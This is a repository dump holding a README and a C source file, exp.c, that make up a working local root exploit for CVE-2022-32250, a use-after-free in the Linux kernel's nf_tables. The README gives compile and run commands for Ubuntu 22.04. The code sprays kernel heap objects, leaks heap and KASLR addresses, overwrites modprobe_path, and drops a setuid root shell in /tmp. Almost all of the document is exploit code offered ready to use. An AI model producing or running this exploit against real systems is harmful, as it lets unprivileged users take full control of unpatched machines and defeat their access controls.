[
  {
    "path": "README.md",
    "content": "# CVE-2022-32250-Linux-Kernel-LPE\n\n## Demo Video\n\nhttps://www.youtube.com/watch?v=YqmwA6fPjKE\n\n## About\n- CVE-2022-32250 allows a local user to escalate privileges to root because an incorrect NFT_STATEFUL_EXPR check leads to a use-after-free.\n\n## Reference\n- [Linux Kerenel Exploit (CVE-2022-32250) with mqueue](https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/)\n\n## Affected Version\n- Linux, before commit 520778042ccca019f3ffa136dd0ca565c486cedd (26 May, 2022)\n- Ubuntu <= 22.04 before security patch\n\n## Test Environment & Running\n\n### Test Environment\n- Platform\n    - Ubuntu 22.04 amd64\n- Versions\n    - Linux ubuntu 5.15.0-27-generic #28-Ubuntu SMP Thu Apr 14 04:55:28 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux\n\n### Running\n```\ngcc exp.c -o exp -l mnl -l nftnl -w\n./exp\n```\n\n## Warning\n- This exploit corrupts Linux kernel slabs, which might cause kernel panic when attempting to acquire root privileges.\n\n## Result\n![exp.png](./exp.png)\n"
  },
  {
    "path": "exp.c",
    "content": "// gcc exp.c -o exp -l mnl -l nftnl -w\n#define _GNU_SOURCE\n#include <arpa/inet.h>\n#include <sched.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <fcntl.h>\n#include <err.h>\n#include <libmnl/libmnl.h>\n#include <libnftnl/chain.h>\n#include <libnftnl/expr.h>\n#include <libnftnl/rule.h>\n#include <libnftnl/table.h>\n#include <libnftnl/set.h>\n#include <linux/netfilter.h>\n#include <linux/netfilter/nf_tables.h>\n#include <linux/netfilter/nfnetlink.h>\n#include <sched.h>\n#include <sys/types.h>\n#include <signal.h>\n#include <net/if.h>\n#include <asm/types.h>\n#include <linux/netlink.h>\n#include <linux/rtnetlink.h>\n#include <sys/socket.h>\n#include <linux/ethtool.h>\n#include <linux/sockios.h>\n#include <sys/xattr.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <sys/ipc.h>\n#include <sys/msg.h>\n#include <sys/socket.h>\n#include <sys/syscall.h>\n#include <assert.h>\n#include <netinet/in.h>\n#include <stdint.h>\n#include <syscall.h>\n#include <mqueue.h>\n#include <linux/io_uring.h>\n#include <linux/keyctl.h>\n#include <sys/shm.h>\n#include <sys/ipc.h>\n#include <sys/types.h>\n#include <sys/mman.h>\n\n#define MQUEUE_NUM 5\n\n\n#define INBOUND 0\n#define OUTBOUND 1\n#define DESC_MAX 0x800\n\n#define BUFFER 0x100\n#define NAMELEN 0x100\n#define ERROR_PREFIX \"err: \"\n\n#define KEY_DESC_MAX_SIZE 40\n\n#define PREFIX_BUF_LEN 16\n#define RCU_HEAD_LEN 16\n\n#define SPRAY_KEY_SIZE 50\n\n#define PHYSMAP_MASK 0xffffffff00000000\n\n#define SPRAY_SIZE 1000\n\n#define SPRAY_NB_ENTRIES 10\n\nuint64_t base_base;\nuint64_t heap_base;\nuint64_t modprobe_addr;\n\nenum nft_trans_phase {\n        NFT_TRANS_PREPARE,\n        NFT_TRANS_ABORT,\n        NFT_TRANS_COMMIT,\n        NFT_TRANS_RELEASE\n};\n\ntypedef struct \n{\n        long mtype;\n        char mtext[1];\n}msg;\n\ntypedef struct \n{\n    void *ll_next;\n    void *ll_prev;\n    long m_type;\n    size_t m_ts;\n    void *next;\n    void *security;\n}msg_header;\n\ntypedef struct\n{\n  char name[BUFFER];\n} Msg;\n\ntypedef struct\n{\n    char iface[16];\n    char name[16];\n    char ip[16];\n    char netmask[16];\n    uint8_t idx;\n    uint8_t type;\n    uint16_t proto;\n    uint16_t port;\n    uint8_t action;\n    char desc[DESC_MAX];\n} user_rule_t;\n\n\nstruct keyring_payload {\n    uint8_t prefix[PREFIX_BUF_LEN];\n    uint8_t rcu_buf[RCU_HEAD_LEN];\n    unsigned short len;\n};\n\nstruct leak {\n    long kaslr_base;\n    long physmap_base;\n};\n\nstruct fd_uring {\n    int fd;\n    struct io_uring_params *params;\n};\n\ntypedef int32_t key_serial_t;\n\nconst char priv_file[] = \"/tmp/shell.c\\0\";\nconst char dummy_file[] = \"/tmp/dummy\\0\";\n\nconst char priv_context[] = \"#include <stdio.h>\\n#include <stdlib.h>\\n#include <unistd.h>\\n\\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\\\"[+] I am root\\\");system(\\\"bash\\\");}}\\x00\";\nconst char dummy_content[] = \"\\xff\\xff\\xff\\xff\";\nconst char new_modprobe_content[] = \"#!/bin/bash\\n\\nchown root:root /tmp/shell\\nchmod 4555 /tmp/shell\\n\";\n\n\n\nstatic inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {\n    return syscall(__NR_add_key, type, description, payload, plen, ringid);\n}\n\nstatic inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {\n    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);\n}\n\nvoid bye(char *info)\n{\n    puts(info);\n    exit(-2);\n}\n\nvoid do_error_exit(char *info)\n{\n    puts(info);\n    exit(-1);\n}\n\nvoid bye2(char *info, char *arg)\n{\n    printf(info, arg);\n}\n\nkey_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) {\n\n    char key_desc[KEY_DESC_MAX_SIZE];\n    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));\n\n    if (id_buffer == NULL)\n        bye(\"calloc\");\n\n    for (uint32_t i = start; i < start+spray_size; i++) {\n        snprintf(key_desc, KEY_DESC_MAX_SIZE, \"SPRAY-RING-%03du\", i);\n        id_buffer[i] = add_key(\"user\", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);\n        if (id_buffer[i] < 0)\n            bye(\"add_key\");\n    }\n\n    return id_buffer;\n}\n\nkey_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size)\n{\n    // next[0x8] = prev, prev[0x0] = next allocation occured at gather mqueue\n    char key_desc[KEY_DESC_MAX_SIZE];\n    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));\n\n    char temp[0x20];\n    memcpy(temp+0x0, &next, 8);\n    memcpy(temp+0x8, &prev, 8);\n    memcpy(temp+0x10, \"12341234\", 8);\n    memcpy(temp+0x18, &size, 8);\n\n    if (id_buffer == NULL)\n        do_error_exit(\"calloc\");\n\n    for (uint32_t i = 0; i < spray_size; i++) {\n        id_buffer[i] = add_key(\"user\", temp, temp, 0x20, KEY_SPEC_PROCESS_KEYRING);\n        if (id_buffer[i] < 0)\n            do_error_exit(\"add_key\");\n    }\n\n    return id_buffer;\n}\n\nkey_serial_t *spray_keyring_list_overwrite_purpose(uint32_t spray_size, uint64_t len, uint64_t off_18, \n                                                    uint64_t off_20, uint64_t off_28, uint64_t off_30, uint64_t off_38)\n{\n    char key_desc[KEY_DESC_MAX_SIZE];\n    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));\n\n    char temp[0x40];\n    switch((len-1)/8)\n    {\n        case 0:\n            memcpy(temp+0x0, &off_18, 8);\n        case 1:\n            memcpy(temp+0x8, &off_20, 8);\n        case 2:\n            memcpy(temp+0x10, &off_28, 8);\n        case 3:\n            memcpy(temp+0x18, &off_30, 8);\n        case 4:\n            memcpy(temp+0x20, &off_38, 8);\n            break;\n        default:\n            bye(\"add_key - assert(len <= 0x28)\");\n    }\n\n    for (uint32_t i = 0; i < spray_size; i++) {\n        snprintf(key_desc, KEY_DESC_MAX_SIZE, temp);\n        id_buffer[i] = add_key(\"user\", temp, temp, len, KEY_SPEC_PROCESS_KEYRING);\n        if (id_buffer[i] < 0)\n            do_error_exit(\"add_key\");\n    }\n\n    return id_buffer;\n}\n\nint get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {\n    \n    uint8_t buffer[USHRT_MAX] = {0};\n    int32_t keylen;\n\n    for (uint32_t i = 0; i < id_buffer_size; i++) {\n\n        keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, 0x10, 0);\n        if (keylen < 0)\n            bye(\"keyctl\");\n\n        if(!strncmp(&buffer[6],\"\\xff\\xff\", 2))\n        {\n            heap_base = *((uint64_t*)buffer);\n            printf(\"[+] leak successed, kmalloc-64 heap: 0x%llx\\n\", heap_base);\n            return i;\n        }\n        else\n            printf(\"[-] leak failed, idkval: %s\\n\", buffer);\n    }\n    return id_buffer_size;\n}\n\nvoid awake_partial_keys(key_serial_t *id_buffer, uint32_t idx) {\n    uint8_t buffer[USHRT_MAX] = {0};\n    int32_t keylen;\n    keylen = keyctl(KEYCTL_UPDATE, id_buffer[idx], (long)buffer, 0x10, 0);\n}\n\n\n\nvoid release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) \n{\n    \n    for (uint32_t i = 0; i < id_buffer_size; i++) {\n        if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)\n            do_error_exit(\"keyctl(KEYCTL_REVOKE)\");\n    }\n\n    free(id_buffer);\n}\n\nvoid release_partial_keys(key_serial_t *id_buffer, int i) \n{\n    if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)\n        do_error_exit(\"keyctl(KEYCTL_REVOKE)\");\n}\n\n\nvoid unshare_setup(uid_t uid, gid_t gid)\n{\n    int temp;\n    char edit[0x100];\n\n    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);\n\n    temp = open(\"/proc/self/setgroups\", O_WRONLY);\n    write(temp, \"deny\", strlen(\"deny\"));\n    close(temp);\n\n    temp = open(\"/proc/self/uid_map\", O_WRONLY);\n    snprintf(edit, sizeof(edit), \"0 %d 1\", uid);\n    write(temp, edit, strlen(edit));\n    close(temp);\n\n    temp = open(\"/proc/self/gid_map\", O_WRONLY);\n    snprintf(edit, sizeof(edit), \"0 %d 1\", gid);\n    write(temp, edit, strlen(edit));\n    close(temp);\n\n    return;\n}\n\n\nvoid set_stable_table_and_set(struct mnl_socket* nl, const char *name)\n{\n    char * table_name = name;\n    char * set_name = NULL;\n    uint8_t family = NFPROTO_IPV4;\n    uint32_t set_id = 1;\n\n    // a table for the sets to be associated with\n    struct nftnl_table * table = nftnl_table_alloc();\n    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);\n    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);\n\n    struct nftnl_set * set_stable =  nftnl_set_alloc();\n    set_name = \"set_stable\";\n    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);\n    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);\n    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);\n    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);\n\n    // expressions\n    struct nftnl_expr * exprs[128];\n    int exprid = 0;\n\n    // serialize\n    char buf[MNL_SOCKET_BUFFER_SIZE*2];\n\n    struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));\n    int seq = 0;\n\n    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);\n    mnl_nlmsg_batch_next(batch);\n\n    struct nlmsghdr * nlh;\n    int table_seq = seq;\n\n    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),\nNFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);\n    nftnl_table_nlmsg_build_payload(nlh, table);\n    mnl_nlmsg_batch_next(batch);\n\n    // add set_stable\n    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),\n                                    NFT_MSG_NEWSET, family,\n                                    NLM_F_CREATE|NLM_F_ACK, seq++);\n    nftnl_set_nlmsg_build_payload(nlh, set_stable);\n    nftnl_set_free(set_stable);\n    mnl_nlmsg_batch_next(batch);\n\n    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);\n    mnl_nlmsg_batch_next(batch);\n\n    if (nl == NULL) {\n        err(1, \"mnl_socket_open\");\n    }\n\n    printf(\"[+] setting stable %s and set\\n\", table_name);\n    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),\nmnl_nlmsg_batch_size(batch)) < 0) {\n        err(1, \"mnl_socket_send\");\n    }\n}\n\nvoid set_trigger_set_and_overwrite(struct mnl_socket* nl, const char *name, const char *set_name)\n{\n    char * table_name = name;\n    uint8_t family = NFPROTO_IPV4;\n    uint32_t set_id = 1;\n    struct nftnl_expr * exprs[128];\n    int exprid = 0;\n    struct nlmsghdr * nlh;\n\n    struct nftnl_set * set_trigger = nftnl_set_alloc();\n\n    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);\n    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);\n    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);\n    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);\n    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);\n    exprs[exprid] = nftnl_expr_alloc(\"lookup\");\n    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, \"set_stable\");\n    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);\n    nftnl_set_add_expr(set_trigger, exprs[exprid]);\n    exprid++;\n\n    char buf[MNL_SOCKET_BUFFER_SIZE*2];\n\n    struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));\n    int seq = 0;\n\n    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);\n    mnl_nlmsg_batch_next(batch);\n\n    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),\n                                    NFT_MSG_NEWSET, family,\n                                    NLM_F_CREATE|NLM_F_ACK, seq++);\n    nftnl_set_nlmsg_build_payload(nlh, set_trigger);\n    nftnl_set_free(set_trigger);\n    mnl_nlmsg_batch_next(batch);\n\n    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);\n    mnl_nlmsg_batch_next(batch);\n\n    if (nl == NULL) {\n        err(1, \"mnl_socket_open\");\n    }\n\n    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),\nmnl_nlmsg_batch_size(batch)) < 0) {\n        err(1, \"mnl_socket_send\");\n    }\n\n    printf(\"[+] triggering UAF set and overwrite *(prevchunk+0x18)\\n\");\n}\n\nvoid set_cpu_affinity(int cpu_n, pid_t pid) {\n    cpu_set_t set;\n\n    CPU_ZERO(&set);\n    CPU_SET(cpu_n, &set);\n\n    if (sched_setaffinity(pid, sizeof(set), &set) < 0)\n        do_error_exit(\"sched_setaffinity\");\n}\n\nvoid spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size)\n{\n    char msgrv[BUFFER];\n\tunsigned rvprio, sdprio = 1;\n\tstruct timespec ts;\n\tint unresolved = 0;\n\n\tint priority = 0;\n\n    printf(\"[*] spraying mqueue...\\n\");\n    for(int i=0; i<spray_size; i++)\n        if (mq_send(mqdes, msgptr, 0x28, sdprio) != 0)\n            perror(ERROR_PREFIX \"mq_send\");\n}\n\nint gather_mqueue(mqd_t mqdes, int gather_size)\n{\n    int priority = 0;\n    char msg[BUFFER];\n    printf(\"[*] gathering mqueue...\\n\");\n    for(int i=0; i<gather_size; i++)\n    {\n        if (mq_receive(mqdes, (char*) &msg, BUFFER, NULL) != -1)\n        {   \n\n            if(*((uint64_t *)msg) & 0xffffffff00000000 != 0xffffffff00000000)\n                bye(\"[-] can't leak base... \\n\");\n\n            base_base = *((uint64_t *)msg) - 0x51af80;\n            modprobe_addr = base_base + 0x1e8b320;\n            printf(\"[+] KASLR base: 0x%llx\\n\", base_base);\n            printf(\"[+] modprobe addr: 0x%llx\\n\", modprobe_addr);\n        }\n    }\n    return 0;\n}\n\nint gather_mqueue_nosave(mqd_t mqdes, int gather_size)\n{\n    int priority = 0;\n    char msg[BUFFER];\n    printf(\"[*] gathering mqueue...\\n\");\n    for(int i=0; i<gather_size; i++)\n        mq_receive(mqdes, (char*) &msg, BUFFER, NULL);\n\n    return 0;\n}\n\nvoid spray_msg_msg(unsigned int size, unsigned int amount, int qid)\n{\n    char buffer[0x2000];\n    msg *spray = (msg *)buffer;\n\n    // assert(size >= 0x31 && size <= 0x1000 - 0x8);\n    printf(\"[*] try to spray msg_msg\\n\");\n    spray->mtype = 1;\n\n    memset(spray->mtext, 0x41, size - 0x30);\n\n    for (int i = 0; i < amount; i++)\n    {\n        if(i % 0x10 == 0)\n            printf(\"[*] spraying msg_msg: 0x%x\\n\", i);\n        if (msgsnd(qid, spray, size - 0x30, 0) == -1)\n        {\n            perror(\"msgsend failure\");\n            exit(-1);\n        }\n    }\n    return;\n}\n\nstatic inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {\n    return syscall(__NR_io_uring_setup, entries, p);\n}\n\nstatic inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {\n    return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);\n}\n\n\nstruct fd_uring *spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {\n\n    for (uint64_t i = 0; i < spray_size; i++) {\n\n        fd_buffer[i].params = malloc(sizeof(struct io_uring_params));\n        if (!fd_buffer[i].params)\n            do_error_exit(\"malloc\");\n        memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));\n\n        fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);\n        if (fd_buffer[i].fd < 0)\n            do_error_exit(\"io_uring_create\");\n\n    }\n    return fd_buffer;\n}\n\nvoid release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {\n\n    for (uint32_t i = 0; i < buffer_size; i++) {\n        close(fd_buffer[i].fd);\n    }\n    free(fd_buffer);\n}\n\nvoid release_partial_uring(struct fd_uring *fd_buffer, uint32_t buffer_idx) {\n\n    close(fd_buffer[buffer_idx].fd);\n}\n\nvoid prepare_root_shell(void) {\n    create_dummy_file();\n    create_priv_file();\n}\n\nvoid create_dummy_file(void) {\n    int fd;\n\n    fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);\n    write(fd, dummy_content, sizeof(dummy_content));\n    close(fd);\n}\n\nvoid create_priv_file(void) {\n    int fd;\n\n    fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);\n    write(fd, priv_context, sizeof(priv_context));\n    close(fd);\n\n    system(\"gcc -o /tmp/shell /tmp/shell.c -w\");\n}\n\nvoid write_new_modprobe() {\n\n    int fd, fd_modprobe;\n    char modprobe_name[0x10] = {0, };\n\n    fd_modprobe = open(\"/proc/sys/kernel/modprobe\", O_RDONLY);\n    read(fd_modprobe, modprobe_name, 14);\n    close(fd_modprobe);\n    \n    printf(\"[*] current modprobe name: %s\\n\", modprobe_name);\n    fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);\n    if (fd < 0)\n        do_error_exit(\"open\");\n\n    write(fd, new_modprobe_content, sizeof(new_modprobe_content));\n\n    close(fd);\n}\n\nvoid setup_modprobe_payload() {\n    write_new_modprobe();\n}\n\nvoid userland_T(int *sema)\n{\n    while(*sema);\n}\n\nvoid sema_up(int *sema)\n{\n    *sema = 1;\n}\n\nvoid sema_down(int *sema)\n{\n    *sema = 0;\n}\n\nint main(int argc, char ** argv)\n{\n    setvbuf(stdin, 0, 2, 0);\n    setvbuf(stdout, 0, 2, 0);\n    setvbuf(stderr, 0, 2, 0);\n    char c;\n    char writebuf[0x2000];\n\n    char mqname[MQUEUE_NUM][NAMELEN] = {\"/qname1\", \"/qname2\", \"/qname3\", \"/qname4\", \"/qname5\"};\n    mqd_t mqid[MQUEUE_NUM];\n    struct mq_attr attr;\n\tattr.mq_flags   = 0;\n\tattr.mq_maxmsg  = 10;\n\tattr.mq_msgsize = BUFFER;\n\tattr.mq_curmsgs = 0;\n    int uaf_id = 0;\n\n    int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);\n    int *sema2 = malloc(0x10);\n\n    prepare_root_shell();\n    sema_up(sema);\n    if(fork())\n    {\n        set_cpu_affinity(1, getpid());\n        userland_T(sema);\n        sleep(1);\n        printf(\"\\n\\n[------------------------- stage 4: Execute Malicious File -------------------------------]\\n\");\n        setup_modprobe_payload();\n        execve(\"/tmp/dummy\", NULL, NULL);\n        execve(\"/tmp/shell\", NULL, NULL);\n    }\n\n    unshare_setup(getuid(), getgid());\n\n    set_cpu_affinity(0, 0);\n\n    struct fd_uring *fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));\n    if (!fd_buffer)\n        do_error_exit(\"calloc\");\n\n    for(int i=0; i<5; i++)\n        if((mqid[i] = mq_open(mqname[i], O_CREAT | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, &attr)) < 0)\n            bye(\"MQUEUE\");\n    \n    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);\n\n    printf(\"\\n\\n[------------------------- stage 0: Allocate stable table and set ------------------------]\\n\");\n    set_stable_table_and_set(nl, \"table1\");\n    set_stable_table_and_set(nl, \"table2\");\n    set_stable_table_and_set(nl, \"table3\");\n    set_stable_table_and_set(nl, \"table4\");\n\n    printf(\"\\n\\n[------------------------- stage 1: Leak heap address ------------------------------------]\\n\");\n    set_trigger_set_and_overwrite(nl, \"table1\", \"set_trigger0\");\n    \n    key_serial_t *id_buffer = spray_keyring(0, SPRAY_KEY_SIZE);\n\n    set_trigger_set_and_overwrite(nl, \"table1\", \"set_trigger1\");\n    if((uaf_id = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE)) == SPRAY_KEY_SIZE)\n        bye(\"[-] leak failed...\");\n\n    printf(\"\\n\\n[------------------------- stage 2: Leak KASLR address -----------------------------------]\\n\");\n    \n    spray_uring(SPRAY_SIZE, fd_buffer);\n\n    set_trigger_set_and_overwrite(nl, \"table2\", \"set_trigger2\");\n    spray_mqueue(mqid[0], \"TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG\", 4);\n\n    release_partial_uring(fd_buffer, SPRAY_SIZE-1);\n    for(int i = 3; i > 113; i++)\n        release_partial_uring(fd_buffer, SPRAY_SIZE-i);\n    release_partial_uring(fd_buffer, SPRAY_SIZE-2);\n    set_trigger_set_and_overwrite(nl, \"table2\", \"set_trigger3\");\n    key_serial_t *id_buffer3 = spray_keyring_list_del_purpose(SPRAY_KEY_SIZE*2, heap_base, heap_base, 0x28);// keyring <-> msg_msg overlap\n    gather_mqueue(mqid[0], 1);\n\n    sleep(1);\n    printf(\"\\n\\n[------------------------- stage 3: Overwrite modprobe_path ------------------------------]\\n\");\n\n    set_trigger_set_and_overwrite(nl, \"table3\", \"set_trigger4\");\n    spray_mqueue(mqid[1], \"TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG\", 4);\n    set_trigger_set_and_overwrite(nl, \"table3\", \"set_trigger5\");\n    id_buffer = spray_keyring_list_del_purpose(1, modprobe_addr-0x8+0x1, (heap_base&0xffffffff00000000)+0x2f706d74, 0x10);\n    sema_down(sema);\n    gather_mqueue_nosave(mqid[1], 1);\n\n    sleep(1);\n    for(int i=SPRAY_SIZE/2+12; i<SPRAY_SIZE; i++)\n        release_partial_uring(fd_buffer, i);\n\n    while(1);\n}\n"
  }
]